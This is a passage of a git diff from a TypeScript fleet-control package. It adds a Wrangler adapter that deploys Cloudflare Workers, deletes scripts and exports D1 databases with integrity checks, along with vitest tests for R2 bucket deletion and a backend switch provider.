+      | Readonly<{ status: 'succeeded' }>
+      | Readonly<{ status: 'failed'; error: unknown }>;
+    try {
+      for (const module of intent.modules) {
+        const modulePath = resolve(directory, module.name);
+        if (!modulePath.startsWith(`${directory}/`)) {
+          throw new Error(
+            `module '${module.name}' escapes the staging directory`,
+          );
+        }
+        await mkdir(resolve(modulePath, '..'), { recursive: true });
+        await writeFile(modulePath, module.content);
+      }
+      const configPath = join(directory, 'wrangler.candidate.json');
+      await writeFile(
+        configPath,
+        JSON.stringify({
+          name: intent.scriptName,
+          main: intent.mainModule,
+          workers_dev: intent.publicAccess.workersDevEnabled,
+          preview_urls: intent.publicAccess.previewUrlsEnabled,
+          compatibility_date: intent.compatibilityDate,
+          compatibility_flags: intent.compatibilityFlags,
+          vars: Object.fromEntries(
+            intent.bindings.plainText.map(({ name, value }) => [name, value]),
+          ),
+          d1_databases: intent.bindings.d1.map((binding) => ({
+            binding: binding.name,
+            database_name: binding.databaseName,
+            database_id: binding.databaseId,
+          })),
+          durable_objects: {
+            bindings: intent.bindings.durableObjects.map((binding) => ({
+              name: binding.name,
+              class_name: binding.className,
+            })),
+          },
+          services:
+            intent.bindings.services.length > 0
+              ? intent.bindings.services.map((binding) => ({
+                  binding: binding.name,
+                  service: binding.service,
+                }))
+              : undefined,
+          ...(intent.mode === 'initial'
+            ? {
+                migrations: intent.durableObjectMigrations.map((migration) => ({
+                  tag: migration.tag,
+                  new_sqlite_classes: migration.newSqliteClasses,
+                  new_classes: migration.newClasses,
+                  deleted_classes: migration.deletedClasses,
+                  renamed_classes: migration.renamedClasses,
+                })),
+              }
+            : {}),
+          queues:
+            intent.bindings.queueProducers.length > 0
+              ? {
+                  producers: intent.bindings.queueProducers.map((binding) => ({
+                    binding: binding.name,
+                    queue: binding.queueName,
+                  })),
+                }
+              : undefined,
+          r2_buckets: intent.bindings.r2Buckets.map((binding) => ({
+            binding: binding.name,
+            bucket_name: binding.bucketName,
+          })),
+          limits:
+            intent.limits.cpuMs === undefined &&
+            intent.limits.subrequests === undefined
+              ? undefined
+              : {
+                  cpu_ms: intent.limits.cpuMs,
+                  subrequests: intent.limits.subrequests,
+                },
+        }),
+      );
+      const secretsPath = join(directory, 'wrangler.secrets.json');
+      await writeFile(
+        secretsPath,
+        JSON.stringify(
+          Object.fromEntries(
+            intent.bindings.secrets.map(({ name, value }) => [name, value]),
+          ),
+        ),
+        { mode: 0o600 },
+      );
+      await fence.assertOwned();
+      dispatched = true;
+      await this.#runner.run([
+        ...(intent.mode === 'initial' ? ['deploy'] : ['versions', 'upload']),
+        '--config',
+        configPath,
+        '--secrets-file',
+        secretsPath,
+        '--tag',
+        intent.candidateTag,
+      ]);
+      settled = { ok: true };
+    } catch (error) {
+      settled = { ok: false, error };
+    } finally {
+      try {
+        await rm(directory, { recursive: true, force: true });
+        cleanup = { status: 'succeeded' };
+      } catch (error) {
+        cleanup = { status: 'failed', error };
+      }
+    }
+    if (!dispatched && !settled.ok) {
+      throw cleanup.status === 'failed'
+        ? new AggregateError(
+            [settled.error, cleanup.error],
+            'Worker upload preparation and adapter scratch cleanup both failed',
+          )
+        : settled.error;
+    }
+    return settled.ok
+      ? { status: 'succeeded', cleanup }
+      : { status: 'failed', error: settled.error, cleanup };
+  }
+
+  async createDeployment(
+    scriptName: string,
+    versions: readonly OrdinaryWorkerDeploymentVersion[],
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome> {
+    await fence.assertOwned();
+    try {
+      await this.#runner.run([
+        'versions',
+        'deploy',
+        ...versions.map(
+          ({ versionId, percentage }) => `${versionId}@${percentage}%`,
+        ),
+        '--name',
+        scriptName,
+        '-y',
+      ]);
+      return { status: 'succeeded' };
+    } catch (error) {
+      return { status: 'failed', error };
+    }
+  }
+
+  async deleteWorkerScript(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<'deleted' | 'absent'> {
+    await fence.assertOwned();
+    try {
+      await this.#runner.run(['delete', '--name', scriptName, '--force']);
+      return 'deleted';
+    } catch (error) {
+      if (isWranglerNotFound(error)) return 'absent';
+      throw error;
+    }
+  }
+
+  async exportDatabase(
+    database: { readonly id: string; readonly name: string },
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerDatabaseExportResult> {
+    await mkdir(this.#exportDirectory, { recursive: true });
+    const temporaryDirectory = await mkdtemp(
+      join(this.#exportDirectory, '.wrangler-export-'),
+    );
+    const fileName = `${database.name}-${Date.now()}.sql`;
+    const temporaryLocation = join(temporaryDirectory, fileName);
+    try {
+      await fence.assertOwned();
+      await this.#runner.run([
+        'd1',
+        'export',
+        database.id,
+        '--remote',
+        '--skip-confirmation',
+        '--output',
+        temporaryLocation,
+      ]);
+      await chmod(temporaryLocation, 0o600);
+      const metadata = await stat(temporaryLocation);
+      if (!metadata.isFile() || metadata.size === 0) {
+        throw new Error('Wrangler database export is not a non-empty file');
+      }
+      const hash = createHash('sha256');
+      for await (const chunk of createReadStream(temporaryLocation)) {
+        hash.update(chunk);
+      }
+      const sha256 = hash.digest('hex');
+      const source = createReadStream(temporaryLocation);
+      const sourceClosed = finished(source, { cleanup: true }).catch(
+        () => undefined,
+      );
+      try {
+        const stored = await this.#exportStore.write({
+          databaseId: database.id,
+          fileName,
+          body: Readable.toWeb(source) as ReadableStream<Uint8Array>,
+          contentLength: metadata.size,
+        });
+        if (
+          !stored.location ||
+          stored.size !== metadata.size ||
+          stored.sha256 !== sha256
+        ) {
+          throw new Error(
+            'durable database export store returned mismatched committed integrity',
+          );
+        }
+        return { location: stored.location, size: metadata.size, sha256 };
+      } finally {
+        source.destroy();
+        await sourceClosed;
+      }
+    } finally {
+      await rm(temporaryDirectory, { recursive: true, force: true });
+    }
+  }
+
+  async #exportDatabaseReceipt(
+    identity: DatabaseExportReceiptIdentity,
+    fence: ExternalMutationFence,
+    writeReceipt: NonNullable<DurableDatabaseExportStore['writeReceipt']>,
+  ): Promise<PlainWorkerDatabaseExportResult> {
+    await mkdir(this.#exportDirectory, { recursive: true });
+    const temporaryDirectory = await mkdtemp(
+      join(this.#exportDirectory, '.wrangler-export-'),
+    );
+    const temporaryLocation = join(temporaryDirectory, 'database-export.sql');
+    const operation = await settleOperation(async () => {
+      await fence.assertOwned();
+      await this.#runner.run([
+        'd1',
+        'export',
+        identity.databaseId,
+        '--remote',
+        '--skip-confirmation',
+        '--output',
+        temporaryLocation,
+      ]);
+      await chmod(temporaryLocation, 0o600);
+      const metadata = await stat(temporaryLocation);
+      if (!metadata.isFile() || metadata.size === 0) {
+        throw new Error('Wrangler database export is not a non-empty file');
+      }
+      const integrity = await hashScratchFile(temporaryLocation);
+      if (integrity.size !== metadata.size) {
+        throw new Error('Wrangler database export changed while being hashed');
+      }
+      const expectedIntegrity = Promise.resolve(integrity);
+      const source = createReadStream(temporaryLocation);
+      const sourceClosed = finished(source, { cleanup: true }).catch(
+        () => undefined,
+      );
+      try {
+        const stored = await writeReceipt({
+          identity,
+          body: Readable.toWeb(source) as ReadableStream<Uint8Array>,
+          contentLength: integrity.size,
+          expectedIntegrity,
+        });
+        if (
+          !stored.location ||
+          stored.size !== integrity.size ||
+          stored.sha256 !== integrity.sha256
+        ) {
+          throw new Error(
+            'durable database export store returned mismatched committed integrity',
+          );
+        }
+        return {
+          location: stored.location,
+          size: integrity.size,
+          sha256: integrity.sha256,
+        };
+      } finally {
+        source.destroy();
+        await sourceClosed;
+      }
+    });
+    const cleanup = await settleOperation(() =>
+      rm(temporaryDirectory, { recursive: true, force: true }),
+    );
+    if (operation.status === 'rejected' && cleanup.status === 'rejected') {
+      throw new AggregateError(
+        [operation.reason, cleanup.reason],
+        'database export receipt and Wrangler scratch cleanup failed',
+      );
+    }
+    if (operation.status === 'rejected') throw operation.reason;
+    if (cleanup.status === 'rejected') throw cleanup.reason;
+    return operation.value;
+  }
+}
diff --git a/packages/fleet-control/test/application-bindings.test.ts b/packages/fleet-control/test/application-bindings.test.ts
index 545c6e5a..80437f9f 100644
--- a/packages/fleet-control/test/application-bindings.test.ts
+++ b/packages/fleet-control/test/application-bindings.test.ts
@@ -3,6 +3,7 @@
 import { createHash } from 'node:crypto';
 import { describe, expect, it } from 'vitest';
 import {
+  advanceApplicationR2Deletion,
   applicationBindingTopology,
   applicationR2Bindings,
   applicationSecretValues,
@@ -210,7 +211,7 @@ describe('application bindings', () => {
     ).toBe(false);
   });
 
-  it('persists R2 authorization and reconciles lost create and delete responses', async () => {
+  it('validates, advances, and recovers the complete application R2 lifecycle matrix', async () => {
     const deployment = spec({
       vars: [],
       secrets: [],
@@ -263,6 +264,7 @@ describe('application bindings', () => {
       'created',
     ]);
     const deleted = await convergeApplicationR2Deletion({
+      spec: deployment,
       resources: created,
       backend,
       fence,
@@ -281,6 +283,453 @@ describe('application bindings', () => {
         'deleted',
       ]),
     );
+
+    const twoBucketDeployment = spec({
+      vars: [],
+      secrets: [],
+      r2Buckets: [{ name: 'A' }, { name: 'B' }],
+    });
+    const reservations = reserveApplicationR2Resources(twoBucketDeployment);
+    const reservationA = reservations[0];
+    const reservationB = reservations[1];
+    if (!reservationA || !reservationB) {
+      throw new Error('two R2 reservations were not created');
+    }
+    const creationDate = '2026-08-11T00:00:00.000Z';
+    const createdB: ApplicationR2Resource = {
+      ...reservationB,
+      state: 'created',
+      creationDate,
+    };
+    for (const [label, first, expectedFirstFinds] of [
+      ['reserved', reservationA, 1],
+      ['deleted', { ...reservationA, state: 'deleted', creationDate }, 1],
+      [
+        'newly deleted',
+        { ...reservationA, state: 'delete-authorized', creationDate },
+        2,
+      ],
+    ] as const) {
+      const calls: string[] = [];
+      const liveBuckets = new Map(
+        [first, createdB]
+          .filter(
+            (candidate) =>
+              candidate.state !== 'reserved' && candidate.state !== 'deleted',
+          )
+          .map((candidate) => [
+            candidate.bucketName,
+            {
+              name: candidate.name,
+              bucketName: candidate.bucketName,
+              jurisdiction: candidate.jurisdiction,
+              creationDate,
+            },
+          ]),
+      );
+      const traceFence = {
+        mutationLeaseTtlMs: 1_000,
+        assertOwned: async () => {
+          calls.push('fence');
+        },
+      };
+      const traceBackend = {
+        async findApplicationR2Bucket(candidate: ApplicationR2Resource) {
+          expect(this).toBe(traceBackend);
+          calls.push(`find:${candidate.name}`);
+          return liveBuckets.get(candidate.bucketName);
+        },
+        async assertApplicationR2Detached(candidate: ApplicationR2Resource) {
+          expect(this).toBe(traceBackend);
+          calls.push(`detach:${candidate.name}`);
+        },
+        async assertApplicationR2Empty(candidate: ApplicationR2Resource) {
+          expect(this).toBe(traceBackend);
+          calls.push(`empty:${candidate.name}`);
+        },
+        async deleteApplicationR2Bucket(candidate: ApplicationR2Resource) {
+          expect(this).toBe(traceBackend);
+          calls.push(`delete:${candidate.name}`);
+          liveBuckets.delete(candidate.bucketName);
+        },
+      };
+      const result = await convergeApplicationR2Deletion({
+        spec: twoBucketDeployment,
+        resources: [first, createdB],
+        backend: traceBackend,
+        fence: traceFence,
+        persist: async () => {},
+      });
+      expect(
+        result.map(({ state }) => state),
+        label,
+      ).toEqual([
+        first.state === 'reserved' ? 'reserved' : 'deleted',
+        'deleted',
+      ]);
+      expect(
+        calls.filter((call) => call === 'find:A'),
+        `${label} prefix`,
+      ).toHaveLength(expectedFirstFinds);
+      expect(
+        calls.filter((call) => call === 'find:B'),
+        label,
+      ).toHaveLength(5);
+      expect(
+        calls.filter((call) => call === 'detach:B'),
+        label,
+      ).toHaveLength(1);
+      expect(
+        calls.filter((call) => call === 'empty:B'),
+        label,
+      ).toHaveLength(1);
+      expect(
+        calls.filter((call) => call === 'delete:B'),
+        label,
+      ).toHaveLength(1);
+      expect(
+        calls.filter((call) => call === 'fence'),
+        label,
+      ).toHaveLength(first.state === 'delete-authorized' ? 4 : 3);
+    }
+
+    const stableReads: string[] = [];
+    const stableCalls: string[] = [];
+    const stableLive = new Map(
+      [reservationA, reservationB].map((candidate) => [
+        candidate.bucketName,
+        {
+          name: candidate.name,
+          bucketName: candidate.bucketName,
+          jurisdiction: candidate.jurisdiction,
+          creationDate,
+        },
+      ]),
+    );
+    const stableBackend = {} as {
+      findApplicationR2Bucket?: (resource: ApplicationR2Resource) => Promise<
+        | {
+            name: string;
+            bucketName: string;
+            jurisdiction: ApplicationR2Resource['jurisdiction'];
+            creationDate: string;
+          }
+        | undefined
+      >;
+      assertApplicationR2Detached?: (
+        resource: ApplicationR2Resource,
+      ) => Promise<void>;
+      assertApplicationR2Empty?: (
+        resource: ApplicationR2Resource,
+      ) => Promise<void>;
+      deleteApplicationR2Bucket?: (
+        resource: ApplicationR2Resource,
+      ) => Promise<void>;
+    };
+    Object.defineProperties(stableBackend, {
+      findApplicationR2Bucket: {
+        configurable: true,
+        get() {
+          stableReads.push('find');
+          return async function (
+            this: typeof stableBackend,
+            candidate: ApplicationR2Resource,
+          ) {
+            expect(this).toBe(stableBackend);
+            stableCalls.push(`find:${candidate.name}`);
+            return stableLive.get(candidate.bucketName);
+          };
+        },
+      },
+      assertApplicationR2Detached: {
+        configurable: true,
+        get() {
+          stableReads.push('detach');
+          return async function (
+            this: typeof stableBackend,
+            candidate: ApplicationR2Resource,
+            mutationFence: typeof fence,
+          ) {
+            expect(this).toBe(stableBackend);
+            expect(mutationFence).toBe(fence);
+            stableCalls.push(`detach:${candidate.name}`);
+          };
+        },
+      },
+      assertApplicationR2Empty: {
+        configurable: true,
+        get() {
+          stableReads.push('empty');
+          return async function (
+            this: typeof stableBackend,
+            candidate: ApplicationR2Resource,
+            mutationFence: typeof fence,
+          ) {
+            expect(this).toBe(stableBackend);
+            expect(mutationFence).toBe(fence);
+            stableCalls.push(`empty:${candidate.name}`);
+          };
+        },
+      },
+      deleteApplicationR2Bucket: {
+        configurable: true,
+        get() {
+          stableReads.push('delete');
+          return async function (
+            this: typeof stableBackend,
+            candidate: ApplicationR2Resource,
+            mutationFence: typeof fence,
+          ) {
+            expect(this).toBe(stableBackend);
+            expect(mutationFence).toBe(fence);
+            stableCalls.push(`delete:${candidate.name}`);
+            stableLive.delete(candidate.bucketName);
+          };
+        },
+      },
+    });
+    const stableResult = await convergeApplicationR2Deletion({
+      spec: twoBucketDeployment,
+      resources: [
+        { ...reservationA, state: 'created', creationDate },
+        { ...reservationB, state: 'created', creationDate },
+      ],
+      backend: stableBackend,
+      fence,
+      persist: async () => {},
+    });
+    expect(stableReads).toEqual(['find', 'detach', 'empty', 'delete']);
+    expect(stableResult.map(({ state }) => state)).toEqual([
+      'deleted',
+      'deleted',
+    ]);
+    for (const name of ['A', 'B']) {
+      expect(
+        stableCalls.filter((call) => call === `find:${name}`),
+      ).toHaveLength(5);
+      expect(stableCalls.filter((call) => call === `detach:${name}`)).toEqual([
+        `detach:${name}`,
+      ]);
+      expect(stableCalls.filter((call) => call === `empty:${name}`)).toEqual([
+        `empty:${name}`,
+      ]);
+      expect(stableCalls.filter((call) => call === `delete:${name}`)).toEqual([
+        `delete:${name}`,
+      ]);
+    }
+
+    const lifecycleMembers = [
+      'findApplicationR2Bucket',
+      'assertApplicationR2Detached',
+      'assertApplicationR2Empty',
+      'deleteApplicationR2Bucket',
+    ] as const;
+    for (const noncallable of lifecycleMembers) {
+      const reads: string[] = [];
+      const calls: string[] = [];
+      const invalidBackend: Record<string, unknown> = {};
+      for (const property of lifecycleMembers) {
+        Object.defineProperty(invalidBackend, property, {
+          configurable: true,
+          get() {
+            reads.push(property);
+            return property === noncallable
+              ? {}
+              : async () => {
+                  calls.push(property);
+                };
+          },
+        });
+      }
+      let writes = 0;
+      await expect(
+        convergeApplicationR2Deletion({
+          spec: twoBucketDeployment,
+          resources: [{ ...reservationA, state: 'created', creationDate }],
+          backend: invalidBackend as never,
+          fence,
+          persist: async () => {
+            writes += 1;
+          },
+        }),
+        noncallable,
+      ).rejects.toThrow(
+        'backend cannot safely delete application R2 resources',
+      );
+      expect(reads, noncallable).toEqual(lifecycleMembers);
+      expect(calls, noncallable).toEqual([]);
+      expect(writes, noncallable).toBe(0);
+    }
+
+    const detachAuthorized: ApplicationR2Resource = {
+      ...reservationB,
+      state: 'detach-authorized',
+      creationDate,
+    };
+    const proofCalls: string[] = [];
+    const proofFence = {
+      mutationLeaseTtlMs: 1_000,
+      assertOwned: async () => {
+        proofCalls.push('fence');
+      },
+    };
+    const proofBackend = {} as {
+      findApplicationR2Bucket?: (
+        resource: ApplicationR2Resource,
+      ) => Promise<undefined>;
+      assertApplicationR2Empty?: () => Promise<void>;
+      deleteApplicationR2Bucket?: () => Promise<void>;
+    };
+    for (const property of [
+      'findApplicationR2Bucket',
+      'assertApplicationR2Empty',
+      'deleteApplicationR2Bucket',
+    ] as const) {
+      Object.defineProperty(proofBackend, property, {
+        configurable: true,
+        get() {
+          proofCalls.push(`get:${property}`);
+          throw new Error(`${property} must not be read`);
+        },
+      });
+    }
+    const proof = await advanceApplicationR2Deletion({
+      spec: twoBucketDeployment,
+      resources: [detachAuthorized],
+      backend: proofBackend,
+      fence: proofFence,
+      verifiedDetachmentResourceIndex: 0,
+    });
+    expect(proof).toMatchObject({
+      status: 'resource-advanced',
+      resourceIndex: 0,
+      resources: [{ state: 'detached' }],
+    });
+    expect(proofCalls).toEqual([]);
+
+    const empty = await advanceApplicationR2Deletion({
+      spec: twoBucketDeployment,
+      resources: [{ ...detachAuthorized, state: 'empty' }],
+      backend: proofBackend,
+      fence: proofFence,
+    });
+    expect(empty).toMatchObject({
+      status: 'resource-advanced',
+      resourceIndex: 0,
+      resources: [{ state: 'delete-authorized' }],
+    });
+    expect(proofCalls).toEqual([]);
+
+    const lazyReads: string[] = [];
+    const lazyCalls: string[] = [];
+    const lazyBackend = {} as {
+      findApplicationR2Bucket?: (resource: ApplicationR2Resource) => Promise<
+        | {
+            name: string;
+            bucketName: string;
+            jurisdiction: ApplicationR2Resource['jurisdiction'];
+            creationDate: string;
+          }
+        | undefined
+      >;
+      assertApplicationR2Empty?: (
+        resource: ApplicationR2Resource,
+      ) => Promise<void>;
+      deleteApplicationR2Bucket?: () => Promise<void>;
+    };
+    let lazyExists = true;
+    Object.defineProperties(lazyBackend, {
+      findApplicationR2Bucket: {
+        configurable: true,
+        get() {
+          lazyReads.push('find');
+          return async function (
+            this: typeof lazyBackend,
+            candidate: ApplicationR2Resource,
+          ) {
+            expect(this).toBe(lazyBackend);
+            lazyCalls.push('find');
+            return lazyExists
+              ? {
+                  name: candidate.name,
+                  bucketName: candidate.bucketName,
+                  jurisdiction: candidate.jurisdiction,
+                  creationDate,
+                }
+              : undefined;
+          };
+        },
+      },
+      assertApplicationR2Empty: {
+        configurable: true,
+        get() {
+          lazyReads.push('empty');
+          return async function (this: typeof lazyBackend) {
+            expect(this).toBe(lazyBackend);
+            lazyCalls.push('empty');
+          };
+        },
+      },
+      deleteApplicationR2Bucket: {
+        configurable: true,
+        get() {
+          lazyReads.push('delete');
+          return async function (this: typeof lazyBackend) {
+            expect(this).toBe(lazyBackend);
+            lazyCalls.push('delete');
+            lazyExists = false;
+          };
+        },
+      },
+    });
+    const emptied = await advanceApplicationR2Deletion({
+      spec: twoBucketDeployment,
+      resources: [{ ...detachAuthorized, state: 'empty-authorized' }],
+      backend: lazyBackend,
+      fence: proofFence,
+    });
+    expect(emptied).toMatchObject({
+      status: 'resource-advanced',
+      resources: [{ state: 'empty' }],
+    });
+    expect(lazyReads).toEqual(['find', 'empty']);
+    expect(lazyCalls).toEqual(['find', 'empty']);
+    expect(proofCalls).toEqual(['fence']);
+
+    lazyReads.length = 0;
+    lazyCalls.length = 0;
+    proofCalls.length = 0;
+    const removed = await advanceApplicationR2Deletion({
+      spec: twoBucketDeployment,
+      resources: [{ ...detachAuthorized, state: 'delete-authorized' }],
+      backend: lazyBackend,
+      fence: proofFence,
+    });
+    expect(removed).toMatchObject({
+      status: 'resource-advanced',
+      resources: [{ state: 'deleted' }],
+    });
+    expect(lazyReads).toEqual(['find', 'delete']);
+    expect(lazyCalls).toEqual(['find', 'delete', 'find']);
+    expect(proofCalls).toEqual(['fence']);
+    await expect(
+      advanceApplicationR2Deletion({
+        spec: twoBucketDeployment,
+        resources: [detachAuthorized],
+        backend: {},
+        fence: proofFence,
+        verifiedDetachmentResourceIndex: 1,
+      }),
+    ).rejects.toThrow('application R2 detachment proof is invalid');
+    await expect(
+      advanceApplicationR2Deletion({
+        spec: twoBucketDeployment,
+        resources: [detachAuthorized],
+        backend: {},
+        fence: proofFence,
+        startResourceIndex: 2,
+      }),
+    ).rejects.toThrow('application R2 deletion start index is invalid');
   });
 
   it('preflights R2 identity and emptiness without authorizing deletion', async () => {
@@ -304,13 +753,17 @@ describe('application bindings', () => {
       },
     };
     const backend = {
-      findApplicationR2Bucket: async () => ({
-        name: resource.name,
-        bucketName: resource.bucketName,
-        jurisdiction: resource.jurisdiction,
-        creationDate: resource.creationDate as string,
-      }),
-      assertApplicationR2Empty: async () => {
+      async findApplicationR2Bucket() {
+        expect(this).toBe(backend);
+        return {
+          name: resource.name,
+          bucketName: resource.bucketName,
+          jurisdiction: resource.jurisdiction,
+          creationDate: resource.creationDate as string,
+        };
+      },
+      async assertApplicationR2Empty() {
+        expect(this).toBe(backend);
         calls.push('empty');
         throw new Error(`R2 bucket '${resource.bucketName}' is not empty`);
       },
@@ -327,6 +780,46 @@ describe('application bindings', () => {
       }),
     ).rejects.toThrow(/not empty/u);
     expect(calls).toEqual(['fence', 'empty']);
+
+    const deleted = { ...resource, state: 'deleted' as const };
+    const inspectionCalls: string[] = [];
+    const inspectionOnlyBackend = {
+      async findApplicationR2Bucket(candidate: ApplicationR2Resource) {
+        expect(this).toBe(inspectionOnlyBackend);
+        inspectionCalls.push(candidate.state);
+        return undefined;
+      },
+    };
+    await expect(
+      assertApplicationR2EmptyBeforeDecommission({
+        resources: [deleted],
+        backend: inspectionOnlyBackend,
+        fence,
+      }),
+    ).resolves.toBeUndefined();
+    await expect(
+      assertApplicationR2EmptyBeforeDecommission({
+        resources: [reserved],
+        backend: inspectionOnlyBackend,
+        fence,
+      }),
+    ).resolves.toBeUndefined();
+    expect(inspectionCalls).toEqual(['deleted', 'reserved']);
+
+    await expect(
+      assertApplicationR2EmptyBeforeDecommission({
+        resources: [reserved],
+        backend: {
+          findApplicationR2Bucket: async () => ({
+            name: reserved.name,
+            bucketName: reserved.bucketName,
+            jurisdiction: reserved.jurisdiction,
+            creationDate: '2026-08-11T00:00:00.000Z',
+          }),
+        },
+        fence,
+      }),
+    ).rejects.toThrow(/refusing to decommission unauthorized R2 bucket/u);
   });
 
   it('never adopts a bucket from a reservation that lacks create authorization', async () => {
diff --git a/packages/fleet-control/test/backend-switch-provider.test.ts b/packages/fleet-control/test/backend-switch-provider.test.ts
index cffa7424..ac6dd817 100644
--- a/packages/fleet-control/test/backend-switch-provider.test.ts
+++ b/packages/fleet-control/test/backend-switch-provider.test.ts
@@ -13,12 +13,14 @@ import {
 } from '../src/platform-resources.js';
 import { deploymentSpecDigest } from '../src/spec-digest.js';
 import type {
+  DatabaseExportReceiptIdentity,
   DeploymentSpec,
   ExternalMutationFence,
   ExternalPlatformProfile,
   ExternalPlatformTargetDescription,
   ExternalReleaseSnapshot,
   FleetRecord,
+  PlainWorkerVersionDetail,
 } from '../src/types.js';
 import type { WorkersForPlatformsBackend } from '../src/workers-for-platforms-backend.js';
 import type { BackendSwitchApi } from '../src/workers-for-platforms-backend-switch-provider.js';
@@ -240,9 +242,25 @@ function provider(
 ): WorkersForPlatformsBackendSwitchProvider {
   const inspectControlWorker = client.inspectControlWorker;
   const inspectDispatchWorker = client.inspectDispatchWorker;
+  const listDurableObjectNamespaces =
+    client.listDurableObjectNamespaces ?? (async () => prior.namespaceIds);
+  const existingDurableObjectNamespaceIds =
+    client.existingDurableObjectNamespaceIds ??
+    (async (ids: readonly string[]) => {
+      if (!client.hasDurableObjectNamespace) return [];
+      const existing: string[] = [];
+      for (const id of ids) {
+        if (await client.hasDurableObjectNamespace.call(client, id)) {
+          existing.push(id);
+        }
+      }
+      return existing;
+    });
   return new WorkersForPlatformsBackendSwitchProvider({
     client: {
       ...client,
+      existingDurableObjectNamespaceIds,
+      listDurableObjectNamespaces,
       ...(inspectControlWorker
         ? {
             inspectControlWorker: async (scriptName: string) => {
@@ -517,18 +535,19 @@ async function removePlanOnlyBridge(
   path: 'traffic' | 'bridge',
   bridge?: BridgeSnapshot,
   plan: BridgeMutationPlan = fixture.plan,
-  allowedArtifactVersions: readonly string[] = [
-    prior.artifactVersion,
-    ...(bridge ? [bridge.artifactVersion] : []),
-  ],
+  allowedArtifactVersions?: readonly string[],
 ): Promise<void> {
+  const persistedBridge = bridge ?? persistedBridgeSnapshot(fixture);
   const authority = {
     prior,
     priorSpec,
     targetSpec,
     plan,
-    ...(bridge ? { bridge } : {}),
-    allowedArtifactVersions,
+    bridge: persistedBridge,
+    allowedArtifactVersions: allowedArtifactVersions ?? [
+      prior.artifactVersion,
+      persistedBridge.artifactVersion,
+    ],
     fence,
   };
   if (path === 'traffic') {
@@ -721,6 +740,7 @@ describe('backend switch provider teardown authority', () => {
       fixture.subject.removeSwitchBridge({
         prior,
         priorSpec,
+        bridge: persistedBridgeSnapshot(fixture),
         targetSpec: plannedTargetSpec,
         plan: fixture.plan,
         allowedArtifactVersions: [prior.artifactVersion],
@@ -1196,6 +1216,47 @@ describe('backend switch provider teardown authority', () => {
     expect(publicAccessDisables).toBe(1);
   });
 
+  it.each([
+    {},
+    { workersDevEnabled: false },
+    { previewUrlsEnabled: false },
+  ])('refuses unknown present-Worker access before switch traffic proof %#', async (flags) => {
+    const subject = provider({
+      getHostRouting: async () => undefined,
+      listCustomDomains: async () => [],
+      inspectOrdinaryWorkerFootprint: async () => ({
+        scriptPresent: true,
+        customDomains: [],
+        zoneRoutes: [],
+        ...flags,
+      }),
+    });
+    await expect(
+      subject.assertSwitchTrafficRemoved({
+        prior,
+        routeHostname: targetSpec.routeHostname,
+      }),
+    ).rejects.toThrow('public-access footprint is incomplete');
+  });
+
+  it('accepts an absent Worker without flags in switch traffic proof', async () => {
+    const subject = provider({
+      getHostRouting: async () => undefined,
+      listCustomDomains: async () => [],
+      inspectOrdinaryWorkerFootprint: async () => ({
+        scriptPresent: false,
+        customDomains: [],
+        zoneRoutes: [],
+      }),
+    });
+    await expect(
+      subject.assertSwitchTrafficRemoved({
+        prior,
+        routeHostname: targetSpec.routeHostname,
+      }),
+    ).resolves.toBeUndefined();
+  });
+
   it('requires HOSTS, every ordinary ingress surface, workers.dev, and previews to be absent', async () => {
     const subject = provider({
       getHostRouting: async () => undefined,
@@ -1564,7 +1625,7 @@ describe('backend switch provider teardown authority', () => {
 });
 
 describe('backend switch provider response-loss recovery', () => {
-  it('appends a platform profile after a disjoint persisted plain history without replaying platform tags', () => {
+  it('appends a platform profile without replaying tags and rejects inconsistent finalized history', () => {
     const externalSpec: DeploymentSpec = {
       ...targetSpec,
       durableObjectMigrations: [],
@@ -1663,6 +1724,34 @@ describe('backend switch provider response-loss recovery', () => {
       'v2',
       'v3',
     ]);
+    const resources = currentRecord.platformResources;
+    if (!resources) throw new Error('missing finalized resources');
+    for (const corruption of [
+      { durableObjectTag: 'foreign-tag' },
+      { durableObjectMigrationHistoryDigest: 'f'.repeat(64) },
+      { durableObjectMigrationHistoryDigest: undefined },
+      {
+        durableObjectTag: 'foreign-tag',
+        platformResources: {
+          ...resources,
+          stateWorker: {
+            ...resources.stateWorker,
+            durableObjectTag: 'foreign-tag',
+          },
+        },
+      },
+    ]) {
+      expect(() =>
+        subject.describeFinalizedBridgeTarget(externalSpec, {
+          ...currentRecord,
+          ...corruption,
+        }),
+      ).toThrow(
+        new Error(
+          'finalized ordinary state has inconsistent persisted migration history',
+        ),
+      );
+    }
   });
 
   it('appends finalized state migrations from the persisted live tag and adopts a committed upload response loss', async () => {
@@ -2110,6 +2199,7 @@ describe('backend switch provider response-loss recovery', () => {
       subject.removeSwitchBridge({
         prior,
         priorSpec,
+        bridge: recovered,
         targetSpec,
         plan,
         allowedArtifactVersions: [prior.artifactVersion],
@@ -2172,4 +2262,807 @@ describe('backend switch provider response-loss recovery', () => {
       /complete durable target/,
     );
   });
+
+  it('exposes complete bounded switch capabilities under the original receivers', async () => {
+    const receiverCalls: string[] = [];
+    let scannerGetterReads = 0;
+    let receiptAuthorityGetterReads = 0;
+    let receiptMethodGetterReads = 0;
+    const databaseId = '00000000-0000-0000-0000-000000000001';
+    const pendingSpec: DeploymentSpec = {
+      ...priorSpec,
+      durableObjectBindings: [
+        {
+          name: 'RUNNER',
+          className: 'Runner',
+          scriptName: 'object-owner',
+        },
+        {
+          name: 'PENDING',
+          className: 'Pending',
+          dispatchNamespace: 'pending-dispatch',
+        },
+      ],
+      egressProxyService: 'egress-service',
+      queueProducer: { binding: 'EVENTS', queueName: 'events' },
+      application: {
+        vars: [{ name: 'APP_VAR', value: 'application-value' }],
+        secrets: [{ name: 'APP_SECRET', valueSha256: 'c'.repeat(64) }],
+        r2Buckets: [{ name: 'FILES', jurisdiction: 'eu' }],
+      },
+    };
+    const pendingSpecDigest = deploymentSpecDigest(pendingSpec);
+    const boundedPrior = {
+      ...prior,
+      databaseId,
+      databaseName: pendingSpec.databaseName,
+    };
+    const pendingApplicationResource = {
+      name: 'FILES',
+      bucketName: 'pending-files',
+      jurisdiction: 'eu' as const,
+      state: 'created' as const,
+      reservationNonce: 'pending-files-reservation',
+      creationDate: '2026-08-30T00:00:00.000Z',
+    };
+    const pendingApplication = {
+      vars: [{ name: 'APP_VAR', value: 'application-value' }],
+      secrets: [{ name: 'APP_SECRET', valueSha256: 'c'.repeat(64) }],
+      r2Buckets: [
+        {
+          name: 'FILES',
+          bucketName: 'pending-files',
+          jurisdiction: 'eu' as const,
+        },
+      ],
+    };
